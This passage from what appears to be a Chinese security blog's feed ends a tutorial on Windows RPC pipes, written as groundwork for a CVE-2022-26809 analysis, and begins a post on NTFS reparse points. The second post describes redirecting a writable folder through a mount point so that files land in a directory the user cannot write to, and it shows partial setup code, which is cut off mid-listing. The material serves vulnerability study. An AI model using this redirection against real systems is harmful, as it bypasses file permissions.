class="built_in">OutPipe</span>(&amp;pipe_data);</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>再编写Server侧代码的时候，首先注意，当前传入的<code>LONG_PIPE</code>对象<strong>无需我们初始化</strong>，因为实际上<code>pipe</code>对象具体要怎么做<strong>是交给用户态来定义的</strong>。<br><code>InPipe</code>接口中，我们调用了<code>pull</code>接口</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> (actual_transfer_count &gt; <span class="number">0</span>) <span class="comment">/* Loop to get all</span></span><br><span class="line"><span class="comment">                                        the pipe data elements */</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> count = PIPE_TRANSFER_SIZE / <span class="number">2</span>;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Each count size is %d\n&quot;</span>, count);</span><br><span class="line">    long_pipe.<span class="built_in">pull</span>(long_pipe.state,</span><br><span class="line">        local_pipe_buf,</span><br><span class="line">        count,</span><br><span class="line">        &amp;actual_transfer_count);</span><br><span class="line">    <span class="comment">/* process the elements */</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Server has receive %d item!\n&quot;</span>,actual_transfer_count);</span><br><span class="line">&#125; <span class="comment">// end while</span></span><br></pre></td></tr></table></figure><ul><li><code>state</code>用于描述当前管道中的状态值，这里我们用它代表了下标（client侧体现）</li><li><code>local_pipe_buf</code>用于存放当前用于存放收入数据的缓冲区</li><li><code>count</code>表示pipe单次接受的<code>pipe</code>中元素大小，这里也就是<strong>能接受count个long类型</strong></li><li><code>actual_transfer_count</code>表示实际接受了多少个元素</li></ul><p>当我们发现接收到的数据大小为0的时候，此时停止循环，完成pipe数据读取。<br><code>OutPipe</code>接口也类似</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> (elementsToSend &gt; <span class="number">0</span>) <span class="comment">/* Loop to send pipe data elements */</span></span><br><span class="line">   &#123;</span><br><span class="line">     <span class="keyword">if</span> (index &gt;= PIPE_SIZE)</span><br><span class="line">         elementsToSend = <span class="number">0</span>;</span><br><span class="line">     <span class="keyword">else</span></span><br><span class="line">     &#123;</span><br><span class="line">         <span class="keyword">if</span> ((index + PIPE_TRANSFER_SIZE) &gt; PIPE_SIZE)</span><br><span class="line">             elementsToSend = PIPE_SIZE - index;</span><br><span class="line">         <span class="keyword">else</span></span><br><span class="line">             elementsToSend = PIPE_TRANSFER_SIZE;</span><br><span class="line">     &#125;</span><br><span class="line"></span><br><span class="line">     outputPipe-&gt;<span class="built_in">push</span>(outputPipe-&gt;state,</span><br><span class="line">         &amp;(outputPipeData[index]),</span><br><span class="line">         elementsToSend);</span><br><span class="line">     index += elementsToSend;</span><br><span class="line"></span><br><span class="line"> &#125; <span class="comment">//end while</span></span><br></pre></td></tr></table></figure><p>只不过这次我们会按照一定的比率进行数据的输送。</p><h4 id="client侧">Client侧</h4><p>Client侧的逻辑稍微复杂，且需要和Server侧颠倒</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">PipeAlloc</span><span class="params">(<span class="type">rpc_ss_pipe_state_t</span> stateInfo,</span></span></span><br><span class="line"><span class="params"><span class="function">    ulong requestedSize,</span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="type">long</span>** allocatedBuffer,</span></span></span><br><span class="line"><span class="params"><span class="function">    ulong* allocatedSize)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;request size is %d\n&quot;</span>, requestedSize);</span><br><span class="line">    ulong* state = (ulong*)stateInfo;</span><br><span class="line">    <span class="keyword">if</span> (requestedSize &gt; (BUF_SIZE * <span class="built_in">sizeof</span>(<span class="type">long</span>)))</span><br><span class="line">    &#123;</span><br><span class="line">        *allocatedSize = BUF_SIZE * <span class="built_in">sizeof</span>(<span class="type">long</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        *allocatedSize = requestedSize;</span><br><span class="line">    &#125;</span><br><span class="line">    *allocatedBuffer = globalBuffer;</span><br><span class="line">&#125; <span class="comment">//end PipeAlloc</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">PipePull</span><span class="params">(<span class="type">rpc_ss_pipe_state_t</span> stateInfo,</span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="type">long</span>* inputBuffer,</span></span></span><br><span class="line"><span class="params"><span class="function">    ulong maxBufSize,</span></span></span><br><span class="line"><span class="params"><span class="function">    ulong* sizeToSend)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ulong currentIndex;</span><br><span class="line">    ulong i;</span><br><span class="line">    ulong elementsToRead;</span><br><span class="line">    ulong* state = (ulong*)stateInfo;</span><br><span class="line"></span><br><span class="line">    currentIndex = *state;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Max Buffer size is %d\n&quot;</span>,maxBufSize);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;currentIndex is %d\n&quot;</span>,currentIndex);</span><br><span class="line">    <span class="keyword">if</span> (*state &gt;= PIPE_SIZE)</span><br><span class="line">    &#123;</span><br><span class="line">        *sizeToSend = <span class="number">0</span>; <span class="comment">/* end of pipe data */</span></span><br><span class="line">        *state = <span class="number">0</span>; <span class="comment">/* Reset the state = global index */</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (currentIndex + maxBufSize &gt; PIPE_SIZE)</span><br><span class="line">            elementsToRead = PIPE_SIZE - currentIndex;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            elementsToRead = maxBufSize;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; elementsToRead; i++)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="comment">/*client sends data */</span></span><br><span class="line">            inputBuffer[i] = globalSendPipeData[i + currentIndex];</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Now send %d element to server\n&quot;</span>, elementsToRead);</span><br><span class="line">        *state += elementsToRead;</span><br><span class="line">        *sizeToSend = elementsToRead;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;<span class="comment">//end PipePull</span></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">PipePush</span><span class="params">(<span class="type">rpc_ss_pipe_state_t</span> stateInfo,</span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="type">long</span>* buffer,</span></span></span><br><span class="line"><span class="params"><span class="function">    ulong numberOfElements)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ulong elementsToCopy, i;</span><br><span class="line">    ulong* state = (ulong*)stateInfo;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (numberOfElements == <span class="number">0</span>)<span class="comment">/* end of data */</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Receive the final one\n&quot;</span>);</span><br><span class="line">        *state = <span class="number">0</span>; <span class="comment">/* Reset the state = global index */</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">// state is the like the index of the push offset</span></span><br><span class="line">        <span class="keyword">if</span> (*state + numberOfElements &gt; PIPE_SIZE)</span><br><span class="line">            elementsToCopy = PIPE_SIZE - *state;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            elementsToCopy = numberOfElements;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; elementsToCopy; i++)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="comment">/*client receives data */</span></span><br><span class="line">            globalRecvPipeData[*state] = buffer[i];</span><br><span class="line">            (*state)++;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Receive from server, the first 10 is \n&quot;</span>);</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i&lt; <span class="number">10</span>; i++)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;%d,&quot;</span>, globalRecvPipeData[i]);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;<span class="comment">//end PipePush</span></span><br></pre></td></tr></table></figure><p>首先可以看到，这里首先定义了三个和pipe相关的函数。之后这三个函数会分别被赋值给传入<code>Client</code>侧的<code>InPipe</code>和<code>OutPipe</code>中的<code>LONG_PIPE</code>对象中。这里先解释其作用</p><ul><li><code>PipeAlloc</code>会在每次<code>pipe_pull</code>和<code>pipe_push</code>被调用的时候，给<code>allocatedBuffer</code>申请变量，而且必须在<code>allocatedSize</code>给出反馈。注意这个<code>allocatedBuffer</code>只需要在用户态可用即可，未规定一定要是<code>malloc</code>出来的内容。例子中就简单的使用全局变量进行了分配</li><li><code>PipePull</code>中传入的<code>inputBuffer</code>为<code>PipeAlloc</code>中申请的Buffer，然后我们往Buffer中写入我们需要传入的内容。这里的<code>stateInfo</code>其实是一个整数变量，用于维护Pipe的状态，我们在这里用于表示当前<code>Pipe</code>的下标，记录传输的状态。完成传输之后，需要将<strong>要发送的数据数量</strong>存入<code>sizeToSend</code></li><li><code>PipePush</code>中<code>buffer</code>同样为<code>PipeAlloc</code>申请来的数据大小。这边而是表示此时有<code>numberOfElements</code>个对象需要接受，此时只需要将数据传入对应<code>state</code>表示的下标即可</li></ul><p>完成上述准备，此时可以编写用于发送数据和接受数据的函数</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">SendLongs</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    LONG_PIPE inPipe;</span><br><span class="line">    <span class="type">int</span> i;</span><br><span class="line">    globalSendPipeData =</span><br><span class="line">        (<span class="type">long</span>*)<span class="built_in">malloc</span>(<span class="built_in">sizeof</span>(<span class="type">long</span>) * PIPE_SIZE);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; PIPE_SIZE; i++)</span><br><span class="line">        globalSendPipeData[i] = <span class="number">0x42424242</span>;</span><br><span class="line"></span><br><span class="line">    pipeDataIndex = <span class="number">0</span>;</span><br><span class="line">    inPipe.state = (<span class="type">rpc_ss_pipe_state_t</span>)&amp;pipeDataIndex;</span><br><span class="line">    inPipe.pull = PipePull;</span><br><span class="line">    inPipe.alloc = PipeAlloc;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Using inpipe seding....\n&quot;</span>);</span><br><span class="line">    <span class="built_in">InPipe</span>(inPipe); <span class="comment">/* Make the rpc */</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">free</span>((<span class="type">void</span>*)globalSendPipeData);</span><br><span class="line"></span><br><span class="line">&#125;<span class="comment">//end SendLongs</span></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">ReceiveLongs</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    LONG_PIPE outputPipe;</span><br><span class="line">    <span class="comment">//idl_long_int i;</span></span><br><span class="line"></span><br><span class="line">    globalRecvPipeData =</span><br><span class="line">        (<span class="type">long</span>*)<span class="built_in">malloc</span>(<span class="built_in">sizeof</span>(<span class="type">long</span>) * PIPE_SIZE);</span><br><span class="line"></span><br><span class="line">    pipeDataIndex = <span class="number">0</span>;</span><br><span class="line">    outputPipe.state = (<span class="type">rpc_ss_pipe_state_t</span>)&amp;pipeDataIndex;</span><br><span class="line">    outputPipe.push = PipePush;</span><br><span class="line">    outputPipe.alloc = PipeAlloc;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">OutPipe</span>(&amp;outputPipe); <span class="comment">/* Make the rpc */</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">free</span>((<span class="type">void</span>*)globalRecvPipeData);</span><br><span class="line"></span><br><span class="line">&#125;<span class="comment">//end ReceiveLongs()</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// in pipedemoc_c.c</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">InPipe</span><span class="params">( </span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="comment">/* [in] */</span> LONG_PIPE pipe_data)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">NdrClientCall2</span>(</span><br><span class="line">                  ( PMIDL_STUB_DESC  )&amp;pipedemo_StubDesc,</span><br><span class="line">                  (PFORMAT_STRING) &amp;hello__MIDL_ProcFormatString.Format[<span class="number">66</span>],</span><br><span class="line">                  pipe_data);</span><br><span class="line">    </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">OutPipe</span><span class="params">( </span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="comment">/* [out] */</span> LONG_PIPE *pipe_data)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">NdrClientCall2</span>(</span><br><span class="line">                  ( PMIDL_STUB_DESC  )&amp;pipedemo_StubDesc,</span><br><span class="line">                  (PFORMAT_STRING) &amp;hello__MIDL_ProcFormatString.Format[<span class="number">98</span>],</span><br><span class="line">                  pipe_data);</span><br><span class="line">    </span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>可以看到，这两个函数调用过程中，都有一个<strong>针对当前的<code>LONG_PIPE</code>对象赋值的过程</strong>。此过程其实是为了在调用<code>InPipe</code>和<code>OutPipe</code>中，此时的pipe类型将会怎么使用。这个函数在自动生成的<code>Stub</code>文件中作为普通的参数传入，不过其在RPC调用过程中存在特殊的处理过程（和之后漏洞相关）。此时根据Server的实现情况，其会反向调用来自用户态的函数，也就是最后会反过来找用户态的<code>push</code>和<code>pull</code>函数。在用户态完成调用之后，其会调用<code>NdrClientCall2</code>重新使用socket协议将数据发送出去，从而实现RPC。</p><h2 id="总结">总结</h2><p>本文主要介绍了RPC的一些基础知识（主要也是MSDN的翻译），下一篇文章中将会详细介绍漏洞的相关详情</p><h2 id="参考链接">参考链接</h2><p><a href="https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page">https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page</a><br><a href="https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds">https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;之前MSRC微软放出了&lt;code&gt;CVE-2022-26809&lt;/code&gt;这个漏洞，当时的评分有9.8那么高，我十分好奇这么高评分的漏洞到底是个怎么样子的洞，所以对其进行了简单的分析，不过一通分析过后，在个人有限的水平下，分析出来的结果是感觉这个漏洞好像挺理论洞的。。&lt;/p&gt;
&lt;p&gt;为了能够更好的描述这个漏洞，首先要了解Windows下的RPC调用模式，所以这里可能要分成两个部分来讲漏洞。前面可能更加倾向于介绍RPC本身，&lt;em&gt;摆出一堆术语&lt;/em&gt;，之后才能比较好的介绍漏洞本身。&lt;/p&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
    <category term="RPC" scheme="https://showlinkroom.me/tags/RPC/"/>
    
  </entry>
  
  <entry>
    <title>Windows Reparse Point</title>
    <link href="https://showlinkroom.me/2022/02/27/Windows-Reparse-Point/"/>
    <id>https://showlinkroom.me/2022/02/27/Windows-Reparse-Point/</id>
    <published>2022-02-27T07:18:41.000Z</published>
    <updated>2022-04-30T02:18:34.316Z</updated>
    
    <content type="html"><![CDATA[<p>感觉很久都没写文章了，以后还是要养成记录学习过程的习惯，这样才不会老摸鱼。。。</p><span id="more"></span><h2 id="reparse-points">Reparse Points</h2><h3 id="概念">概念</h3><p>之前学习的概念如下:</p><blockquote><p>Windows仅仅支持两种类型的文件：普通文件以及文件目录。这两种文件都可以作为一个NTFS重解析点，一种特殊的文件，拥有一个修改的头部和一个可变的数据块。头部包括了一个表示当前重解析点的类型，这个tag将会被文件系统过滤驱动处理；或者包含内置的重解析点类型类型，即I/O管理器本身</p></blockquote><p>为什么叫做重解析呢？这里要看一个例子:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\Symlink_to_File\File_to_SYS</span><br></pre></td></tr></table></figure><ul><li>首先解析C:\，发现是一个驱动</li><li>然后解析<code>Symlink_to_File</code>，发现其实是一个符号链接，于是<strong>重新解析当前路径</strong>，得到的路径其实为<code>File Path</code></li><li>继续解析<code>File_to_SYS</code>，发现也是一个符号链接，于是<strong>再次发生重新解析</strong>，得到路径为<code>SYS</code></li><li>实际发生解析的路径变成了<code>C:\File Path\SYS</code></li></ul><p>由于这个过程 <strong>重新解析了文件信息，所以称为重解析点</strong>。重解析通常用于符号链接或者<strong>挂载</strong>。在2019年之后，微软修改了符号链接的权限，现在规定<strong>只有管理员权限才能够随意创建符号链接，并且经过观察发现，即使是管理员，默认的创建权限也是关闭的，需要特殊开启</strong></p><p><img src="/2022/02/27/Windows-Reparse-Point/res01.png" alt=""></p><p>然而不知为何，挂载点<code>MountPoint</code>的创建却没有被限制。于是可以利用挂载点进行重解析，来对路径进行类似符号链接的重定向。</p><h3 id="实验：如何创建重解析点">实验：如何创建重解析点</h3><p>这边参考了<a href="https://github.com/googleprojectzero/symboliclink-testing-tools/blob/00c0fe4cefcd2a62c887fe6117abc02bc98bb9fb/CommonUtils/ReparsePoint.cpp">ProjectZero</a>的仓库，核心代码如左。</p><p>这里首先介绍一下核心代码：<br>首先，需要使用一个结构体:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_REPARSE_DATA_BUFFER</span> &#123;</span><br><span class="line">ULONG  ReparseTag;</span><br><span class="line">USHORT ReparseDataLength;</span><br><span class="line">USHORT Reserved;</span><br><span class="line"><span class="keyword">union</span> &#123;</span><br><span class="line"><span class="keyword">struct</span> &#123;</span><br><span class="line">USHORT SubstituteNameOffset;</span><br><span class="line">USHORT SubstituteNameLength;</span><br><span class="line">USHORT PrintNameOffset;</span><br><span class="line">USHORT PrintNameLength;</span><br><span class="line">ULONG Flags;</span><br><span class="line">WCHAR PathBuffer[<span class="number">1</span>];</span><br><span class="line">&#125; SymbolicLinkReparseBuffer;</span><br><span class="line"><span class="keyword">struct</span> &#123;</span><br><span class="line">USHORT SubstituteNameOffset;</span><br><span class="line">USHORT SubstituteNameLength;</span><br><span class="line">USHORT PrintNameOffset;</span><br><span class="line">USHORT PrintNameLength;</span><br><span class="line">WCHAR PathBuffer[<span class="number">1</span>];</span><br><span class="line">&#125; MountPointReparseBuffer;</span><br><span class="line"><span class="keyword">struct</span> &#123;</span><br><span class="line">UCHAR  DataBuffer[<span class="number">1</span>];</span><br><span class="line">&#125; GenericReparseBuffer;</span><br><span class="line">&#125; DUMMYUNIONNAME;</span><br><span class="line">&#125; REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;</span><br></pre></td></tr></table></figure><p>这个结构体是一个union，同时处理了<code>SymbolicLink</code>和<code>MountPoint</code>两个点。同时需要引进一些常量:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_MOUNT_POINT              (0xA0000003L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_HSM                      (0xC0000004L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_DRIVE_EXTENDER           (0x80000005L)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_HSM2                     (0x80000006L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_SIS                      (0x80000007L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_WIM                      (0x80000008L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_CSV                      (0x80000009L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_DFS                      (0x8000000AL)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_FILTER_MANAGER           (0x8000000BL)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_SYMLINK                  (0xA000000CL)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_IIS_CACHE                (0xA0000010L)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_DFSR                     (0x80000012L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_DEDUP                    (0x80000013L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_APPXSTRM                 (0xC0000014L)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_NFS                      (0x80000014L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_FILE_PLACEHOLDER         (0x80000015L)       <span class="comment">// winnt</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_DFM                      (0x80000016L)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IO_REPARSE_TAG_WOF                      (0x80000017L)       <span class="comment">// winn</span></span></span><br></pre></td></tr></table></figure><p>这些都是一些在<code>Reparse</code>处理过程中可能用到的一些变量。<br>然后再之后的代码中，我们首先打开两个目录，一个叫做<code>srcPath</code>，一个叫做<code>targetPath</code>，其中我们假定一个如下的场景：</p><ul><li>目前srcPath是我们有写权限的目录，但是targetPath我们没有</li><li>通过重解析，我们需要让srcPath解析绑定到targetPath上</li><li>当发生重解析之后，我们往srcPath中写入文件，最终会写入到targetPath目录中</li></ul><p>当需要将当前的文件作为重解析句柄打开的时候，需要使用如下的代码:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">HANDLE handle = <span class="built_in">CreateFile</span>(path,</span><br><span class="line">GENERIC_READ | GENERIC_WRITE,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line">OPEN_EXISTING,</span><br><span class="line">FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,</span><br><span class="line"><span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (handle == INVALID_HANDLE_VALUE)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Create Reparse Point failed with error code %d\n&quot;</span>, <span class="built_in">GetLastError</span>());</span><br><span class="line"><span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>关键在于<code>FILE_FLAG_OPEN_REPARSE_POINT</code>，这个变量表明当前打开的句柄需要作为重解析点去处理。<br>然后代码需要构建之前提到的<code>_REPARSE_DATA_BUFFER</code>:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span 